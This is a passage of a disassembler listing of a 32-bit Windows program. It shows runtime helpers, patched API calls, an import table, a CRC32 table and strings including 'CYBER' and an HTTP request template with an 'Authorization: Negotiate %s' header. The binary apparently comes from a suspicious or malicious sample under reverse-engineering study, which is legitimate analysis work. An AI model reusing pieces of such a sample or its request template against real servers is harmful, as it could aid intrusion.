		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 26411CCh
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 26411CCh
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi

loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------

loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------

loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	near ptr 2800000h
		nop
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D

loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------

loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax

loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0

loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1

loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C32C
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------

loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05

loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]

loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB5C0
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2610074h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------

loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE5C
		push	esi
		push	edi
		call	near ptr 26107E6h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax

loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB5C0, eax

loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2610074h
		nop
		jmp	loc_426DC6
; ---------------------------------------------------------------------------

loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB374
		mov	[ebp+arg_10], eax

loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27F104Eh
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 27F104Eh
		nop
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB364

loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 26107E6h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------

loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax

loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------

loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h

loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25D0000h, 25E0000h, 25F0000h, 25F0646h, 2600000h, 2600A74h
		dd 2600AC5h, 2610000h, 2610074h, 26107E6h, 2620000h, 26204DAh
		dd 2620759h, 2630000h, 26301D2h
dword_42703C	dd 2630212h		; DATA XREF: ___:004231D9r
		dd 26302A7h, 2630491h, 26304B4h, 26305C9h, 2640000h, 26411CCh
		dd 2650000h, 265037Bh, 2650901h, 77E75CB5h
dword_427068	dd 2650939h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2650C30h, 2660000h, 2670000h
dword_427078	dd 2670535h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 26705F4h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 2670716h
dword_427084	dd 26707E3h		; DATA XREF: sub_4196BC+B9r
		dd 2670CFFh
dword_42708C	dd 2670D55h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2680000h		; DATA XREF: ___:loc_4013DCr
		dd 26804F4h, 268067Ah
dword_42709C	dd 2680765h		; DATA XREF: sub_409B12+2r
		dd 2680893h, 268095Ch
dword_4270A8	dd 2680F34h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 2690000h		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 26901D0h, 2690D89h
dword_4270B8	dd 26A0000h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26A02C3h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26B0000h, 26C0000h, 26C061Bh, 26D0000h, 77F7E300h, 77F7E21Fh
		dd 26D05B7h, 26D0743h, 26E0000h, 26E08F6h
dword_4270E8	dd 26F0000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 26F097Dh		; DATA XREF: sub_418293+36r
		dd 26F0C98h, 2700000h
dword_4270F8	dd 270060Dh		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2710000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2711476h, 2720000h, 2720BEBh, 2730000h, 2730930h, 2740000h
		dd 27403F4h, 2750000h, 2750B4Fh, 2750E81h, 2760000h, 27600EBh
		dd 2760805h, 2760B0Fh, 2770000h
dword_42713C	dd 27703DEh		; DATA XREF: sub_416F1A+BCr
		dd 2780000h
dword_427144	dd 2790000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 2790C6Fh		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 2790CB2h
dword_427150	dd 27A0000h		; DATA XREF: sub_417275+56r
		dd 27A01B2h, 27B0000h, 27C0000h, 27C05CCh, 27C0A96h, 27C0CF9h
		dd 27D0000h, 27D065Eh, 27E0000h, 27F0000h
dword_42717C	dd 27F104Eh		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2800000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 28011EEh, 280162Ah, 2801AB2h, 2810000h, 2820000h, 2830000h
		dd 2840000h, 2850000h, 2860000h, 2870000h, 2871C6Eh, 2871CAEh
		dd 2880000h, 2880E91h, 2890000h
dword_4271C0	dd 289069Ah		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28907A3h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28908FCh, 28A0000h, 28A068Fh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C544o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C540o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C7BCo
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C98Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
